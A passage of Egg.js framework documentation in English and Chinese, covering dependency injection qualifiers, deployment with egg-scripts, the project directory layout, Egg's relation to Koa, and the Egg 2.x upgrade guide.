import { Inject, SingletonProto, HttpClient } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  httpClient: HttpClient;

  async bar() {
    await this.httpClient.request('https://alipay.com');
  }
}
```

#### Inject Egg Methods

Since `Module` injection can only inject objects, not methods, if you need to use existing Egg methods, you need to encapsulate the methods.

For example: Suppose there's a method `getHeader` on `Context`. To use this method in `Module`, you need to encapsulate it as follows.

```ts
// extend/context.ts
export default {
  getHeader() {
    return '23333';
  },
};
```

First, encapsulate the method as an object.

```ts
// HeaderHelper.ts
class HeaderHelper {
  constructor(ctx) {
    this.ctx = ctx;
  }

  getHeader(): string {
    return this.ctx.getHeader();
  }
}
```

Then put the object on the `Context` extension.

```ts
// extend/context.ts
const HEADER_HELPER = Symbol('context#headerHelper');

export default {
  get headerHelper() {
    if (!this[HEADER_HELPER]) {
      this[HEADER_HELPER] = new HeaderHelper(this);
    }
    return this[HEADER_HELPER];
  },
};
```

## Prototype Name Conflicts Within `Module`

### Definition

Within a `Module`, there are two prototypes with the same name but different instantiation methods. Direct `Inject` won't work because the `Module` cannot determine which object is needed.
In this case, you need to tell the `Module` which instantiation method the injected object should use.

```ts
@InitTypeQualifier(initType: ObjectInitType)
```

### Example

```ts
import {
  Logger,
  Inject,
  InitTypeQualifier,
  ObjectInitType,
  SingletonProto,
} from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  // Explicitly specify logger with instantiation method CONTEXT
  @InitTypeQualifier(ObjectInitType.CONTEXT)
  logger: Logger;
}
```

## Prototype Name Conflicts Between `Module`s

### Definition

Multiple `Module`s may implement a prototype named `HelloService`. You need to explicitly tell the `Module` which `Module` the injected prototype comes from.

```ts
@ModuleQualifier(moduleName: string)
```

### Example

```ts
import { Inject, InitTypeQualifier, ObjectInitType, Logger } from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  // Explicitly specify HelloAdapter from the foo `Module`
  @ModuleQualifier('foo')
  helloAdapter: HelloAdapter;
}
```

## Qualifier Dynamic Injection

### Use Cases

We often have different implementations for different scenarios in our code. A simple approach is to use if/else or switch at the point of use.
However, this presents a problem: every time we need to extend a type, we need to modify at least two places - one is to add the implementation, and the other is to add a code branch where it's used.
This often leads to omissions, causing issues in our code. We want changes to be converged, so that implementations are dynamically available once implemented.
Therefore, dynamic injection was introduced to solve this problem.

### Usage

1. Define an abstract class and a type enum.

```typescript
export enum HelloType {
  FOO = 'FOO',
  BAR = 'BAR',
}

// AbstractHello.ts
export abstract class AbstractHello {
  abstract hello(): string;
}
```

2. Define a custom enum.

:::danger
Notes:

* **Don't duplicate ATTRIBUTE, as it may cause implementations to be overwritten**
* **Don't specify the wrong abstract class, as it may cause implementations to be overwritten**
  :::

```typescript
import { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';
import { HelloType } from '../HelloType.ts';
import { AbstractHello } from '../AbstractHello.ts';

export const HELLO_ATTRIBUTE = Symbol('HELLO_ATTRIBUTE');

// This utility class can implement type checking
// 1. With this annotation, you must implement the abstract class
// 2. The annotation parameter must be an enum value
export const Hello: ImplDecorator<AbstractHello, typeof HelloType> =
  QualifierImplDecoratorUtil.generatorDecorator(AbstractHello, HELLO_ATTRIBUTE);
```

3. Implement the abstract class.

```typescript
import { SingletonProto } from 'egg';
import { Hello } from '../decorator/Hello.ts';
import { HelloType } from '../HelloType.ts';
import { AbstractHello } from '../AbstractHello.ts';

@SingletonProto()
@Hello(HelloType.BAR)
export class BarHello extends AbstractHello {
  hello(): string {
    return 'hello, bar';
  }
}
```

4. Dynamically get the implementation.

```typescript
import { EggObjectFactory, SingletonProto, Inject } from 'egg';
import { HelloType } from './HelloType.ts';
import { AbstractHello } from './AbstractHello.ts';

@SingletonProto()
export class HelloService {
  @Inject()
  private eggObjectFactory: EggObjectFactory;

  async hello(): Promise<string> {
    const helloImpl = await this.eggObjectFactory.getEggObject(
      AbstractHello,
      HelloType.BAR,
    );
    return helloImpl.hello();
  }
}
```

### Real-World Example

[cnpmcore/app/common/adapter/binary/AbstractBinary.ts](https://github.com/cnpm/cnpmcore/blob/b6c96defa4c61783e1bf9a1b5dbe2420918ab69a/app/common/adapter/binary/AbstractBinary.ts#L136)

### FAQ

* What if I don't have an enum and the type is infinitely extensible?

```typescript
// Use a record to masquerade as an enum
type AnyEnum = Record<string, string>;

export const Convertor: ImplDecorator<AbstractFoo, AnyEnum> =
  QualifierImplDecoratorUtil.generatorDecorator(AbstractFoo, FOO_ATTRIBUTE);
```

---

---
url: /core/deployment.md
---

Launching application via `egg-bin dev` will bring something magical to help people to develop in high efficiency. However, actually, those features are not required in production or any other environment. Let's walk through and learn how to deploy your application in Egg's way.

There are two steps to achieve building once and deploying multiply from source code to runtime.

## Build

In the stage, you don't need to compile JavaScript files unless TypeScript or Babel(ES6 features) are involved in stack.

Generally, before deploying the application, dependencies will be installed with `NODE_ENV=production` or `--production`, which will exclude `devDependencies` because those used in development may increase the size of package released or even create pitfalls that you never expect.

```bash
$ cd baseDir
$ npm install --production
$ tar -zcvf ../release.tgz .
```

Both the application and dependencies will be packed into a tgz file, what you are going to do is unzipping and launching it.

Reusable package brings a few pros in:

* Environments in building and runtime are different, try to keep the later environment pure and stable.
* Abbreviating publish progress and making rollback without hassle.

## Deploy

Node.js(`>= 14.20.0`) is required so that you should make sure it is pre-installed in runtime environment.

Egg takes `egg-cluster` to create [Master](https://github.com/eggjs/egg/blob/master/docs/source/en/core/cluster-and-ipc.md#master) process, which you can rely on to secure the application instead of daemon manager like [pm2]. The API is also really convenient for developers to achieve that, just `egg.startCluster`.

And framework also provide [egg-scripts] for developers to start/stop application at prod mode.

Firstly, we need to import `egg-scripts` as `dependencies`:

```bash
$ npm i egg-scripts --save
```

Then add `npm scripts` to `package.json`:

```json
{
  "scripts": {
    "start": "egg-scripts start --daemon",
    "stop": "egg-scripts stop"
  }
}
```

Then we are able to use `npm start` and `npm stop` to manage application.

> Note: `egg-scripts` has limited support for Windows, see [#22](https://github.com/eggjs/egg-scripts/pull/22).

### Start

```bash
$ egg-scripts start --port=7001 --daemon --title=egg-server-showcase
```

Options:

* `--port=7001` http server port, will use `process.env.PORT`, default to `7001`.
* `--daemon` whether run at background, so you don't need `nohup`. Ignore this when the application run in docker instance.
* `--env=prod` then framework env, will use `process.env.EGG_SERVER_ENV`, default to `prod`。
* `--workers=2` worker count, default to cpu cores, which can leverage the capability of the cpu.
* `--title=egg-server-showcase` convenient for `ps + grep`, default to `egg-server-${appname}`.
* `--framework=yadan` config `egg.framework` at `package.json` or pass this args, when you are using [Custom Framework](../advanced/framework.md).
* `--ignore-stderr` ignore the std err at start up。
* `--https.key` specify the https key full path, if start the server with https.
* `--https.cert` specify the https certificate full path, if start the server with https.
* support all options from [egg-cluster], such as `--port`.

More about [egg-scripts] and [egg-cluster] documents.

> Note: `--workers`, default to `process.env.EGG_WORKERS`, if unset, egg will use `os.cpus().length`. However, in the docker, the `os.cpus().length` may not be equal to the number of allocated cores, and the obtained value may be large, leading to startup failure. Then try to manually set `--workers`, see [#1431](https://github.com/eggjs/egg/issues/1431#issuecomment-573989059).

#### Dispatch with Arguments

Arguments of dispatch can be configured in `config.{env}.js`.

```js
// config/config.default.js

exports.cluster = {
  listen: {
    port: 7001,
    hostname: '127.0.0.1', // It is not recommended to set the hostname to '0.0.0.0', which will allow connections from external networks and sources, please use it if you know the risk.
    // path: '/var/run/egg.sock',
  },
};
```

[server.listen](https://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback) supports arguments including `path`, `port` and `hostname` to change dispatching behavior. One thing you should know is that the `port` in `egg.startCluster` will override the one in application config.

### Stop

```bash
$ egg-scripts stop
```

This command will kill master process which will handler and notice worker and agent to gracefull exit.

Also you can manually call `ps -eo "pid,command" | grep -- "--title=egg-server"` to find master process then `kill` without `-9`.

[egg-cluster]: https://github.com/eggjs/egg-cluster

[egg-scripts]: https://github.com/eggjs/egg-scripts

[pm2]: https://github.com/Unitech/pm2

---

---
url: /basics/structure.md
---
# Directory Structure

In the [Quick Start](../intro/quickstart.md), you should have gained a preliminary impression of the framework. Next, let's briefly understand the directory conventions.

```bash
egg-project
├── package.json
├── app.ts (optional)
├── agent.ts (optional)
├── app
│   ├── controller
│   │   ├── http
│   │   │   ├── HomeController.ts
│   │   │   └── UserController.ts
│   │   ├── rpc
│   │   │   └── UserRPCController.ts
│   │   ├── mcp
│   │   │   └── MyMCPController.ts
│   │   └── schedule
│   │       └── MyTaskController.ts
│   ├── service (optional)
│   │   └── UserService.ts
│   ├── middleware (optional)
│   │   └── ResponseTimeMiddleware.ts
│   ├── public (optional)
│   │   └── reset.css
│   ├── view (optional)
│   │   └── home.tpl
│   └── extend (optional)
│       ├── helper.ts (optional)
│       ├── request.ts (optional)
│       ├── response.ts (optional)
│       ├── context.ts (optional)
│       ├── application.ts (optional)
│       └── agent.ts (optional)
├── config
|   ├── plugin.ts
|   ├── config.default.ts
│   ├── config.prod.ts
|   ├── config.test.ts (optional)
|   ├── config.local.ts (optional)
|   └── config.unittest.ts (optional)
└── test
    ├── middleware
    |   └── ResponseTimeMiddleware.test.ts
    └── controller
           ├── http
           │   └── HomeController.test.ts
           ├── mcp
           │   └── MyMCPController.test.ts
           └── schedule
               └── MyTaskController.test.ts
```

As shown above, directories defined by framework conventions:

* `app/controller/**` - Used to parse user input, process it, and return corresponding results. See [Controller](./controller.md) for details.
* `app/service/**` - Used to write business logic layer. Recommended for use. See [Service](./service.md) for details.
* `app/middleware/**` - Used to write middleware. See [Middleware](./middleware.md) for details.
* `app/public/**` - Used to place static resources. See the built-in plugin [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static) for details.
* `app/extend/**` - Used for framework extensions. See [Framework Extension](./extend.md) for details.
* `config/config.{env}.ts` - Used to write configuration files. See [Configuration](./config.md) for details.
* `config/plugin.ts` - Used to configure plugins to be loaded. See [Plugin](./plugin.md) for details.
* `test/**` - Used for unit testing. See [Unit Testing](../core/unittest.md) for details.
* `app.ts` and `agent.ts` - Used to customize initialization work at startup. See [Startup Customization](./app-start.md) for details. For the role of `agent.ts`, see [Agent Mechanism](../core/cluster-and-ipc.md#agent-mechanism).

Directories defined by built-in plugin conventions:

* `app/public/**` - Used to place static resources. See the built-in plugin [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static) for details.

**To customize your own directory conventions, see [Loader](../advanced/loader.md)**

* `app/view/**` - Used to place template files. See [Template Rendering](../core/view.md) for details.
* `app/model/**` - Used to place domain models, such as domain-related plugins like [`egg-sequelize`](https://github.com/eggjs/egg-sequelize).

---

---
url: /intro/egg-and-koa.md
---
# Egg and Koa

## Asynchronous Programming Model

Node.js is an asynchronous world, asynchronous programming models in official API support are all in callback form，it brings many problems. For example:

* [callback hell](http://callbackhell.com/): Notorious "callback hell"。
* [release zalgo](https://oren.github.io/#/articles/zalgo/): Asynchronous functions may call callback function response data synchronously which would bring inconsistency.

The community has provided many solutions for the problems and the winner is Promise. It is built into ECMAScript 2015. On the basis of Promise, and with the ability of Generator to switch context, we can write asynchronous code in a synchronous way with [co] and other third-party libraries. Meanwhile [async function], the official solution has been published in ECMAScript 2017 and landed in Node.js 8.

### Async Function

[Async function] is a syntactic sugar at the language level. In async function, we can use `await` to wait for a promise to be resolved(or rejected, which will throw an exception), and Node.js LTS (8.x) has supported this feature.

```js
const fn = async function () {
  const user = await getUser();
  const posts = await fetchPosts(user.id);
  return { user, posts };
};
fn()
  .then((res) => console.log(res))
  .catch((err) => console.error(err.stack));
```

## Koa

> [Koa](https://koajs.com/) is a new Web framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for Web applications and APIs.

The design styles of Koa and Express are very similar, The underlying basic library is the same, [HTTP library](https://github.com/jshttp). There are several significant differences between them. Besides the asynchronous solution by default mentioned above, there are the following points.

### Midlleware

The middleware in Koa is different from Express, Koa use the onion model:

* Middleware onion diagram:

![](https://camo.githubusercontent.com/d80cf3b511ef4898bcde9a464de491fa15a50d06/68747470733a2f2f7261772e6769746875622e636f6d2f66656e676d6b322f6b6f612d67756964652f6d61737465722f6f6e696f6e2e706e67)

* Middleware execution sequence diagram:

![](https://raw.githubusercontent.com/koajs/koa/a7b6ed0529a58112bac4171e4729b8760a34ab8b/docs/middleware.gif)

All the requests will be executed twice during one middleware. Compared to Express middleware, it is very easy to implement post-processing logic. You can obviously feel the advantage of Koa middleware model by comparing the compress middleware implementatio in Koa and Express.

* [koa-compress](https://github.com/koajs/compress/blob/master/lib/index.js) for Koa.
* [compression](https://github.com/expressjs/compression/blob/master/index.js) for Express.

### Context

Unlike that there are only two objects `Request` and `Response` in Express, Koa has one more, `Context` object in one HTTP request(it is `this` in Koa 1, while it is the first parameter for middleware function in Koa 2). We can mount all the related properties in one request to this object. Such as [traceId](https://github.com/eggjs/egg-tracer/blob/1.0.0/lib/tracer.js#L12) that runs through the whole request lifetime (which will be called anywhere afterward) could be mounted. It is more semantic other than request and response.

At the same time Request and Response are mounted to the Context object. Just like Express, the two objects provide lots of easy ways to help developing. For example:

* `get request.query`
* `get request.hostname`
* `set response.body`
* `set response.status`

### Exception Handling

Another enormous advantage for writing asynchronous code in a synchronous way is that it is quite easy to handle the exception. You can catch all the exceptions thrown in the codes followed the convention with `try catch`. We can easily write a customized exception handling middleware.

```js
async function onerror(ctx, next) {
  try {
    await next();
  } catch (err) {
    ctx.app.emit('error', err);
    ctx.body = 'server error';
    ctx.status = err.status || 500;
  }
}
```

Putting this middleware before others, you can catch all the exceptions thrown by the synchronous or asynchronous code.

## Egg Inherits from Koa

As described above, Koa is an excellent framework. However, it is not enough to build an enterprise-class application.

Egg is built around the Koa. On the basis of Koa model, Egg implements enhancements one step further.

### Extension

In the framework or application based on Egg, we can extend the prototype of 4 Koa objects by defining `app/extend/{application,context,request,response}.js`. With this, we can write more utility methods quickly. For example, we have the following code in `app/extend/context.js`:

```js
// app/extend/context.js
module.exports = {
  get isIOS() {
    const iosReg = /iphone|ipad|ipod/i;
    return iosReg.test(this.get('user-agent'));
  },
};
```

It can be used in controller then:

```js
// app/controller/home.js
exports.handler = (ctx) => {
  ctx.body = ctx.isIOS
    ? 'Your operating system is iOS.'
    : 'Your operating system is not iOS.';
};
```

More about extension, please check [Exception](../basics/extend.md) section.

### Plugin

As is known to all, Many middlewares are imported to provide different kinds of features in Express and Koa. Eg, [koa-session](https://github.com/koajs/session) provides the Session support, [koa-bodyparser](https://github.com/koajs/bodyparser) help to parse request body. Egg has provided a powerful plugin mechanism to make it easier to write stand-alone features.

One plugin can include:

* extend：extend the context of base object, provide utility and attributes.
* middleware：add one or more middlewares, provide pre or post-processing logic for request.
* config：configure the default value in different environments.

A stand-alone module plugin can provide rich features with high maintainability. You can almost forget the configuration as the plugin supports configuring the default value in different environments.

[@eggjs/security](https://github.com/eggjs/security) is a typical example.

More about plugin, please check [Plugin](../basics/plugin.md) section.

### Roadmap

#### Egg 1.x

When Egg 1.x released, the Node.js LTS version did not support async function，so Egg 1.x was based on Koa 1.x. On the basis of this, Egg had added fully async function support. Egg is completely compatible with middlewares in Koa 2.x, all applications could write with `async function`.

* The underlying is based on Koa 1.x, asynchronous solution is based on the generator function wrapped by [co].
* Official plugin and the core of Egg are written in generator function, keep supporting Node.js LTS version, use [co] when necessary to be compatible with async function.
* Application developers can choose either async function (Node.js 8.x+) or generator function (Node.js 6.x+).

#### Egg 2.x

When Node.js 8 became LTS version, an async function could be used in Node.js without any performance problem. Egg released 2.x based on Koa 2.x, the framework and built-in plugins were all written by async function, and Egg 2.x still kept compatibility with generator function and all the usages in Egg 1.x, applications based on Egg 1.x can migrate to Egg 2.x only by upgrading to Node.js 8.

* The underlying will be based on Koa 2.x, the asynchronous solution will be based on async function.
* The official plugin and core of egg will be written in an async function.
* Recommend the user to transfer the business layer to async function.
* Only support Node.js 8+.

[co]: https://github.com/tj/co

[async function]: https://github.com/tc39/ecmascript-asyncawait

[async function]: https://github.com/tc39/ecmascript-asyncawait

---

---
url: /zh-CN/intro/egg-and-koa.md
---
# Egg.js 与 Koa

## 异步编程模型

Node.js 是一个异步的世界，官方 API 支持的都是 callback 形式的异步编程模型，这带来了许多问题，例如：

* [callback hell](http://callbackhell.com/)：最臭名昭著的 callback 嵌套问题。
* [release zalgo](https://oren.github.io/#/articles/zalgo/)：异步函数中可能同步调用 callback 返回数据，导致不一致性。

因此，社区提供了各种异步的解决方案。最终，Promise 胜出，并内置到了 ECMAScript 2015 中。基于 Promise 和 Generator 提供的切换上下文能力，出现了 [co] 等第三方类库，让我们以同步的写法来编写异步代码。同时，[async function] 这个官方解决方案也在 ECMAScript 2017 中发布，并在 Node.js 8 中得到实现。

### async function

[async function] 是语言层面提供的语法糖。在 async function 中，我们可通过 `await` 关键字等待一个 Promise 被 resolve（或 reject，在此情况下会抛出异常）。

Node.js 现在的 LTS 版本（8.x）已原生支持 async function。

```js
const fn = async function () {
  const user = await getUser();
  const posts = await fetchPosts(user.id);
  return { user, posts };
};
fn()
  .then((res) => console.log(res))
  .catch((err) => console.error(err.stack));
```

## Koa

> [Koa](https://koajs.com/) 是一个新的 web 框架，由 Express 幕后的原班人马打造，致力于成为 web 应用和 API 开发领域中的更小、更富有表现力、更健壮的基础设施。

Koa 和 Express 的设计风格十分相似，底层也都是共用[同一套 HTTP 基础库](https://github.com/jshttp)。但它们存在几个明显的区别。除了上面提到的默认异步解决方案之外，Koa 的主要特点还包括以下几个：

### Middleware

Koa 的中间件和 Express 不同，Koa 选择了洋葱圈模型。

* 中间件洋葱图：

![](https://camo.githubusercontent.com/d80cf3b511ef4898bcde9a464de491fa15a50d06/68747470733a2f2f7261772e6769746875622e636f6d2f66656e676d6b322f6b6f612d67756964652f6d61737465722f6f6e696f6e2e706e67)

* 中间件执行顺序图：

![](https://raw.githubusercontent.com/koajs/koa/a7b6ed0529a58112bac4171e4729b8760a34ab8b/docs/middleware.gif)

每个请求在经过一个中间件时都会执行两次，与 Express 形式的中间件相对，Koa 的模型可以方便地实现后置处理逻辑。比较 Koa 与 Express 的 Compress 中间件，便可明显感受到 Koa 中间件模型的优势。

* [koa-compress](https://github.com/koajs/compress/blob/master/lib/index.js) for Koa。
* [compression](https://github.com/expressjs/compression/blob/master/index.js) for Express。

### Context

与 Express 只有 Request 和 Response 两个对象不同，Koa 增加了一个 Context 对象，作为该次请求的上下文对象（在 Koa 1 中为中间件的 `this`，在 Koa 2 中作为中间件的第一个参数传入）。我们可将一次请求相关的上下文全部挂载至此对象上。例如，[traceId](https://github.com/eggjs/egg-tracer/blob/1.0.0/lib/tracer.js#L12) 这种需贯穿整个请求（之后在任何地方进行其他调用都需使用）的属性便可挂载上去。这比单独的 request 和 response 对象更加符合语义。

同时，Context 上也挂载了 Request 和 Response 两个对象。和 Express 类似，两者都提供了许多便捷方法，辅助开发。例如：

* `get request.query`
* `get request.hostname`
* `set response.body`
* `set response.status`

### 异常处理

通过同步方式编写异步代码的另一个很大好处是，异常处理变得非常自然。我们可以使用 `try catch` 来捕获规范编写代码中的所有错误，从而非常容易地编写自定义的错误处理中间件。

```js
async function onerror(ctx, next) {
  try {
    await next();
  } catch (err) {
    ctx.app.emit('error', err);
    ctx.body = 'server error';
    ctx.status = err.status || 500;
  }
}

只需将此中间件放在其他中间件前，便可捕获所有同步或异步代码中抛出的异常。
```

## Egg 继承于 Koa

如上所述，Koa 是一个非常优秀的框架。然而，对于企业级应用来说，它还比较基础。

而 Egg 选择了 Koa 作为其基础框架，在它的模型基础上，对其进行了进一步的增强。

### 扩展

在基于 Egg 的框架或者应用中，我们可以通过定义 `app/extend/{application,context,request,response}.js` 来扩展 Koa 中对应的四个对象的原型。通过这个功能，我们可以快速增加更多的辅助方法。举例，我们在 `app/extend/context.js` 中写入以下代码：

```javascript
// app/extend/context.js
module.exports = {
  get isIOS() {
    const iosReg = /iphone|ipad|ipod/i;
    return iosReg.test(this.get('user-agent'));
  },
};
```

在 Controller 中，我们就可以使用刚才定义的这个便捷属性了：

```javascript
// app/controller/home.js
exports.handler = (ctx) => {
  ctx.body = ctx.isIOS
    ? 'Your operating system is iOS.'
    : 'Your operating system is not iOS.';
};
```

更多关于扩展的内容，请查看[扩展](../basics/extend.md)章节。

### 插件

众所周知，在 Express 和 Koa 中，我们经常会引入众多中间件来提供各种功能，如引入 [koa-session](https://github.com/koajs/session) 提供 Session 支持，引入 [koa-bodyparser](https://github.com/koajs/bodyparser) 解析请求体。Egg 提供了强大的插件机制，让这些独立领域的功能模块更易于编写。

一个插件可以包含：

* extend：扩展基础对象的上下文，提供工具类、属性等。
* middleware：加入一个或多个中间件，提供请求的前置、后置逻辑处理。
* config：配置不同环境下插件的默认配置项。

在一个独立领域下实现的插件，可以在维护性非常高的情况下提供完善的功能。插件还支持配置各个环境下的默认（最佳）配置，使得使用插件时几乎无需修改配置项。

[@eggjs/security](https://github.com/eggjs/security) 插件是一个典型的例子。

更多关于插件的内容，请查看[插件](../basics/plugin.md)章节。

### Egg 与 Koa 的版本关系

#### Egg 1.x

Egg 1.x 发布时，Node.js 的 LTS 版本尚不支持 `async function`，因此 Egg 1.x 基于 Koa 1.x 开发。在此基础上，Egg 全面增加了对 `async function` 的支持。再加上 Egg 对 Koa 2.x 的中间件完全兼容，应用层代码可以完全基于 `async function` 开发。

* 底层基于 Koa 1.x，异步解决方案基于 [co] 封装的 generator function。
* Egg 核心和官方插件使用 generator function 编写，通过 co 包装兼容 async function。
* 开发者可以根据 Node.js 版本选择使用 async function 或 generator function。

#### Egg 2.x

Node.js 8 正式进入 LTS 后，`async function` 在 Node.js 中无性能问题，Egg 2.x 基于 Koa 2.x 开发。框架底层和所有内置插件都采用 `async function` 编写，对 Egg 1.x 和 generator function 保持完全兼容。应用层只需升级到 Node.js 8，即可从 Egg 1.x 迁移到 Egg 2.x。

* 底层基于 Koa 2.x，异步解决方案采用 async function。
* Egg 核心和官方插件使用 async function 编写。
* 建议业务层迁移到 async function 解决方案。
* 仅支持 Node.js 8 及以上版本。

[co]: https://github.com/tj/co

[async function]: https://github.com/tc39/ecmascript-asyncawait

---

---
url: /zh-CN/intro/overview.md
---
# Egg.js 是什么

**Egg.js 为企业级框架和应用而生**。我们希望 Egg.js 能孕育出更多上层框架，帮助开发团队和开发人员降低开发和维护成本。

> 注：Egg.js 的缩写为 Egg

## 设计原则

我们深知企业级应用在追求规范和共建的同时，还需考虑如何平衡不同团队之间的差异，求同存异。因此，我们没有选择社区常见的大集市模式（如集成数据库、模板引擎、前端框架等），而是专注于提供 Web 开发的核心功能和灵活可扩展的插件机制。我们不会做出技术选型，这是因为一旦技术选型固定，框架的扩展性就会变差，无法满足各种定制需求。通过 Egg，企业的架构师和技术负责人能够轻松地在 Egg 基础上，扩展出符合自身技术架构和业务场景的框架。

Egg 的插件机制具备很高的可扩展性，**一个插件仅完成一件事情**（例如 [Nunjucks] 模板封装成了 [egg-view-nunjucks](https://github.com/eggjs/egg-view-nunjucks)，MySQL 数据库封装成了 [egg-mysql](https://github.com/eggjs/egg-mysql)）。Egg 通过框架聚合这些插件，并根据自己的业务场景定制配置，从而极大降低了应用的开发成本。

Egg 奉行“**约定优于配置**”。按照[一套统一的约定](../advanced/loader.md)开发应用时，团队成员可以减少学习成本，不再是“钉子”，能流动起来。未有约定的团队，沟通成本极高，因为每个人的开发习惯可能都不同，容易犯错。但约定并不意味着扩展性差，Egg 的扩展性极高，可根据不同团队的约定来定制框架。使用 [Loader](../advanced/loader.md)，框架能够根据不同环境定义默认配置，并覆盖 Egg 的默认约定。

## 与社区框架的差异

[Express] 是 Node.js 社区广泛使用的框架，简洁且扩展性强，很适合个人项目。不过，由于缺少约定，MVC 模型实现方式多种多样。Egg 则是按照固定约定进行开发，低协作成本。

[Sails] 也是奉行“**约定优于配置**”的框架，扩展性同样很好。相比 Egg，[Sails] 提供了 Blueprint REST API、[Waterline] 这样的 ORM、前端集成、WebSocket 等功能。而 Egg 不会直接提供这些功能，但可以聚合各种功能插件（如 egg-blueprint，egg-waterline 等），再用 sails-egg 框架整合这些插件后，就可以替代 [Sails]。

## 特性

* 可[定制上层框架](../advanced/framework.md)的能力
* 高度可扩展的[插件机制](../basics/plugin.md)
* 内置[多进程管理](../advanced/cluster-client.md)
* 基于 [Koa] 开发，性能优异
* 框架稳定，测试覆盖率高
* [渐进式开发](../intro/progressive.md)

[sails]: http://sailsjs.com

[express]: http://expressjs.com

[koa]: http://koajs.com

[nunjucks]: https://mozilla.github.io/nunjucks

[waterline]: https://github.com/balderdashy/waterline

---

---
url: /intro/migration.md
---
# Egg@2 Upgrade guideline

## Background

With the official release of Node.js 8 LTS, egg now comes with built-in ES2017 Async Function support.

Though the TJ [co] has brought `async/await` programming experience before this, but it also has some inevitable problems:

* performance lost
* [obscure error logs](https://github.com/eggjs/egg/wiki/co-vs-async)

In the official Egg 2.x:

* Full compatibility to Egg 1.x and `generator function`.
* Koa 2.x based `async function` solutions.
* Only support Node.js 8 and above.
* Better error stack messages without [co], approximately 30% performance improvement (do not include the performance improvement brought by Node), see [benchmark](https://eggjs.github.io/benchmark/plot/) for more details.

One of the Egg's concept is `progressive`, hence we provide progressive programming experiences to developers.

* [Quick upgrade](#quick_upgrade)
* [Plugin update](#plugin)
* [Further upgrade](#forther_upgrade)
* [Upgrade documents for Plugin developers](#upgrade_documents_for_plugin_developers)

## Quick upgrade

* Use the latest Node LTS version (`>=8.9.0`).
* Change `egg` version to `^2.0.0` in `package.json`.
* Check if included plugins are the latest version (optional).
* Reinstall the dependencies, and run unit tests again.

**Done! Barely with any code changes**

## Plugin update

### egg-multipart

`yield parts` needs to change to `await parts()` or `yield parts()`

```js
// old
const parts = ctx.multipart();
while ((part = yield parts) != null) {
  // do something
}

// yield parts() also work
while ((part = yield parts()) != null) {
  // do something
}

// new
const parts = ctx.multipart();
while ((part = await parts()) != null) {
  // do something
}
```

* [egg-multipart#upload-multiple-files](https://github.com/eggjs/multipart#upload-multiple-files)

### egg-userrole

DO NOT support 1.x role definition, because koa-roles is no longer compatible.
The `Context` has changed from `this` to the first argument `ctx`, the original `scope` now is the second argument.

```js
// old
app.role.use('user', function () {
  return !!this.user;
});

// new
app.role.use((ctx, scope) => {
  return !!ctx.user;
});

app.role.use('user', (ctx) => {
  return !!ctx.user;
});
```

* [koajs/koa-roles#13](https://github.com/koajs/koa-roles/pull/13)
* [eggjs/egg-userrole#9](https://github.com/eggjs/egg-userrole/pull/9)

## Further upgrade

Due to the complete compatibility to Egg 1.x, we can finish the upgrade quickly.

But in order to keep the coding style consistent, as well as a better performance improvement and more developer-friendly error stack logs, we suggest developers to make a further upgrade:

* Use recommended code style, see [Style guide](../community/style-guide.md)
* [Use Koa style middleware](#use-koa2-style-middleware)
* [Change `yieldable` to `awaitable` in function invoke](#yieldable-to-awaitable)

### Use Koa2-styled middleware

> 2.x is compatible to 1.x-styled middleware, so it's still functional without any changes.

* Use Koa 2's `(ctx, next)` arguments style in callback function
  * The 1st argument is `ctx`, means context, it is an instance of [Context](../basics/extend.md#Context)
  * The 2nd argument is `next`, use await to execute it for the coming logics.
* Using `async (ctx, next) => {}` is not recommended, which prevents anonymous function in error stack.
* Change `yield next` to `await next()`.

```js
// 1.x
module.exports = () => {
  return function* responseTime(next) {
    const start = Date.now();
    yield next;
    const delta = Math.ceil(Date.now() - start);
    this.set('X-Response-Time', delta + 'ms');
  };
};

// 2.x
module.exports = () => {
  return async function responseTime(ctx, next) {
    const start = Date.now();
    // Note, differ from the generator function middleware, next is a function, we're executing it here
    await next();
    const delta = Math.ceil(Date.now() - start);
    ctx.set('X-Response-Time', delta + 'ms');
  };
};
```

### yieldable to awaitable

> async was supported in Egg 1.x, thus if the middleware is already async-base, we could skip this section.

[co] supports `yieldable` compatibility types:

* promises
* array (parallel execution)
* objects (parallel execution)
* thunks (functions)
* generators (delegation)
* generator functions (delegation)

Despite both `generator` and `async` have the same program models, but we may still need to refactor our codes correspondingly after removing `co` because of the above special handling from `co`.

#### promise

We can replace it directly:

```js
function echo(msg) {
  return Promise.resolve(msg);
}

yield echo('hi egg');
// change to
await echo('hi egg');
```

#### array - yield \[]

`yeild []` is normally used to send concurrent requests, such as:

```js
const [ news, user ] = yield [
  ctx.service.news.list(topic),
  ctx.service.user.get(uid),
];
```

In this case, use `Promise.all()` to wrap it:

```js
const [news, user] = await Promise.all([
  ctx.service.news.list(topic),
  ctx.service.user.get(uid),
]);
```

#### object - yield {}

Sometimes `yield {}` and `yield map` can also be used to send concurrent requests, but it may be a bit complex in this place because `Promise.all` doesn't support Object argument.

```js
// app/service/biz.js
class BizService extends Service {
  * list(topic, uid) {
    return {
      news: ctx.service.news.list(topic),
      user: ctx.service.user.get(uid),
    };
  }
}

// app/controller/home.js
const { news, user } = yield ctx.service.biz.list(topic, uid);
```

It's recommended to use `await Promise.all([])`:

```js
// app/service/biz.js
class BizService extends Service {
  list(topic, uid) {
    return Promise.all([
      ctx.service.news.list(topic),
      ctx.service.user.get(uid),
    ]);
  }
}

// app/controller/home.js
const [news, user] = await ctx.service.biz.list(topic, uid);
```

If the interfaces are unchangeable, e can do things below as a workaround:

* Use [app.toPromise] method provided by our Utils.
* **This is built on top of the [co], so it may still cause performance issue and returning inaccurate error stacks, so this is not recommended.**

```js
const { news, user } = await app.toPromise(ctx.service.biz.list(topic, uid));
```

#### Others

* thunks (functions)
* generators (delegation)
* generator functions (delegation)

Use `async function` to replace the above functions, or use [app.toAsyncFunction] alternatively.

**Note**

* [toAsyncFunction][app.toasyncfunction] and [toPromise][app.topromise] are wrappers of [co], thus it may cause performance lost and error stack problems. So we're recommending developers to use all-chain upgrade.
* [toAsyncFunction][app.toasyncfunction] doesn't have performance lost when invokes async function.

